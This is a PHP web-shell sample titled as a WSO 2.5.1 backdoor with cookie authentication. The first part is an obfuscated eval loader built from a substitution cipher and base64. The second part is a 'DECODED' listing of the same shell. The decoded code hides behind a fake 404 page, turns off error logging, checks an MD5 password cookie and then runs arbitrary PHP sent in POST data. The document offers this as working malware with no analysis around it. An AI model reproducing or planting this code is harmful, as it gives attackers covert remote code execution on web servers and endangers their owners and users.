Backdoor with cookie auth ('WSO_VERSION', '2.5.1')

<?php
$vORBC0O = Array('1'=>'X', '0'=>'j', '3'=>'G', '2'=>'W', '5'=>'c', '4'=>'4', '7'=>'f', '6'=>'v', '9'=>'V', '8'=>'2', 'A'=>'Z', 'C'=>'R', 'B'=>'Y', 'E'=>'L', 'D'=>'D', 'G'=>'s', 'F'=>'l', 'I'=>'t', 'H'=>'C', 'K'=>'g', 'J'=>'r', 'M'=>'1', 'L'=>'d', 'O'=>'J', 'N'=>'H', 'Q'=>'7', 'P'=>'8', 'S'=>'M', 'R'=>'n', 'U'=>'6', 'T'=>'O', 'W'=>'A', 'V'=>'E', 'Y'=>'o', 'X'=>'i', 'Z'=>'x', 'a'=>'e', 'c'=>'9', 'b'=>'u', 'e'=>'3', 'd'=>'T', 'g'=>'p', 'f'=>'y', 'i'=>'h', 'h'=>'k', 'k'=>'w', 'j'=>'B', 'm'=>'U', 'l'=>'0', 'o'=>'N', 'n'=>'z', 'q'=>'Q', 'p'=>'a', 's'=>'K', 'r'=>'I', 'u'=>'S', 't'=>'m', 'w'=>'q', 'v'=>'F', 'y'=>'P', 'x'=>'b', 'z'=>'5');
function v550C16($vPIEFFC, $vD2APSF){$vOI6WVC = ''; for($i=0; $i < strlen($vPIEFFC); $i++){$vOI6WVC .= isset($vD2APSF[$vPIEFFC[$i]]) ? $vD2APSF[$vPIEFFC[$i]] : $vPIEFFC[$i];}
return base64_decode($vOI6WVC);}
$vXZL69O = 'O3vML3i753vn5fWcrHrMotSno8OXAdCiBdKkAdWMA2rMAtB4otVlT2rnSdh4SXrQHKYhB8cGxerKyuWXr8CtourQHXCh'.
'A2AiL2Zl18v0L3F6xXWcrHL3p2ZF5lMixX5QHXChA2AiL2Zl1e9nA9ciptv4rDlKLNOMAdGsO3'.
'CFAtvMxNC7B8ii5RoFLHWcrHL1p2zhxeLnEdVfodVRTkYsq3Fbp9cnA1qYO89f5tcf18Z6Af5GdF9SdHhQHhjgxtF7589ls'.
'HLGx8L7A1OfxeOnOfkksdGsq3Fbp9cnA1qYO8MiavcFa390L1Cgx'.
'8z7L3FIAu5GSHhQHhjnA1C7L3FIA9cGp2MgLHKksdGsqNoFLvcIB2LgBMcZL2clA'.
'1o75R9bL3FIAuKksdGsq3CFAtFbAuKR9Moy1MAvmFoOdl4REHWRSX4ME0VRsdGsHtFts3LFLvcIB2LgBMcZL2clA1o7Aej0sH'.
'hgrNGsrHWKr3AMxtolp2cbrvLddeol5tFk58Zi58iF5fKhB1OfB1hgrNGsrHWKrHWK'.
'rHjfA1CM5t4Kp1o7B1OfB1hYO3vf5tvzsuW/r3vf5tvz18Mi5H'.
'KR9Moy5eCfp1jnx3vnp39nOfkKO3vf5tvzsuWUrNol5tFk58Zi58iF5fKhB1OfB1hgTkYKrHWK7qYKrHWKOv'.
'cqdMomrDlK9Moy5eCfp1jnx3vnp39nsHC7mVcd9HhQHXWKrHWh1loydlIO'.
'CuWcrvLddeol5tFk58Zi58iF5fKh1loydlIOCuhQHRlsHtAMxtolp2cbrNLnxlZ6A8FbsHhKakYKrHWKp'.
'39iA39fsHLr9vCqEnVbSHWlSDqKdtclrVA6L2zhOfhQHXWKrHjhp2mYr0qkoHrgTkgcHKg'.
'tL2z0L3F6xXj1mlcnA1C0x8cJp2mYO3GGrHC8sujQHXWKrHWh1loydlIOC9GhpMlKyuWhL0GsrHWKrNoFL3o6x8IgAuKhpf'.
'kKONBgTkgcHKggAXKiA2MkLNhYO3vML3i753vn5fhgrNGsrHWKr3Fts3Fn589lsHC7mVcd9vGR53vn5fLLsuWtOXWYx2qMsH'.
'C7mVcd9vGR53vn5fLLsuWcyuWhB19lpvckB1onsuhsrHWKrHWKrHj1mlcnA1C0x8cJp2mYx2'.
'qMsHC7ml9u9h9u2fLr9vCq1liymMqR1uhGrHCiL1CY1eji5eSgTkYsrHWKr3FtrHKip1onA1qYOvcDdlcEum9xx2qMsHC7'.
'ml9u9h9u2fLr9vCq1liymMqR1uFLsujP7HWYOvcDdlcEum9xx2qMsHC7'.
'ml9u9h9u2fLr9vCq1liymMqR1uFLrHVcrHCiL1CY1eji5eSgsqYKrHWKrHW'.
'KrNLnxlZ6A8FbsHhQHRlsHtAMxtolp2cbr3v0L3F6xFODsHhKakYKrHWKp2BYrmWh1Mjy'.
'mMCxOeWZOMlgrNGsrHWKrHWKrHWhBuWcr3vf5tvzsWYKrHWKrHWKrHWKrHWXL2zix2mXrDl+rNjY5vcMxtvIAuKgEWYKrHWKr'.
'HWKrHWKrHWX53ik1eAF5Rogx84XrDl+rNjY5NAF5Rogx84YsuksrHWKrHWKrHWKr'.
'HWKrRLnxMc8A1Onp2cbrXWcyXj1mlc79h9umlFydXksrHWKrHWKrHWKrHWKrRo'.
'iAt9Ix8CFrXWcyXjWp2zg18LFLHKR58vtA9cIx8CFOfhsrHWKrHWKrHWgTkYKrHWKrHWKr390p3PK589fp2vGp1gFsH'.
'CisdGsrHWKrNlKA2ZnAujQHXWKrHWKrHWKA1AixHKh1MjymMCxOeWZOMlgTk'.
'YKrHWK7qgcHtFtsHjFx1jlauKh1MjymMCxO8VR1uhKsqYKrHWKp2BYp1onA1qYO3CFAtvMxNC7B2olp2cbsuWtOX'.
'jtL2z0L3F6xFcFa3FnLNSYO8v0L3F6xX5KEXWhA39tB19GLvciBeCgx84gsqYKrHWKrHWKrHC7'.
'mVcd9vGRBuLLrDlKO3CFAtvMxNC7B2olp2cbTkYKrHWKA2ZnAqYKrH'.
'WKrHWKrHC7mVcd9vGRBuLLrDlKOMoFBlFbAtPRTkggAXKKr29I5NCzsHC7mVcd9vGRBuLLs'.
'uWtOXjtL2z0L3F6xFcFa3FnLNSYO8v0L3F6xX5KEXWh1MjymMCxO8VR1uhKsqYKrHW'.
'KB8vGxvcM589f18AMxtSYO8v0L3F6xX5KEXWh1MjymMCxO8VR1uhQHt94p1qQ';
eval(v550C16($vXZL69O, $vORBC0O));?>

-------------------
----- DECODED -----
-------------------
<?php
$auth_pass = "56c37bbe4aa80e05eb5ff86a49b31982";

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5.1');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    header('HTTP/1.0 404 Not Found');
    die("404");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;
?>
404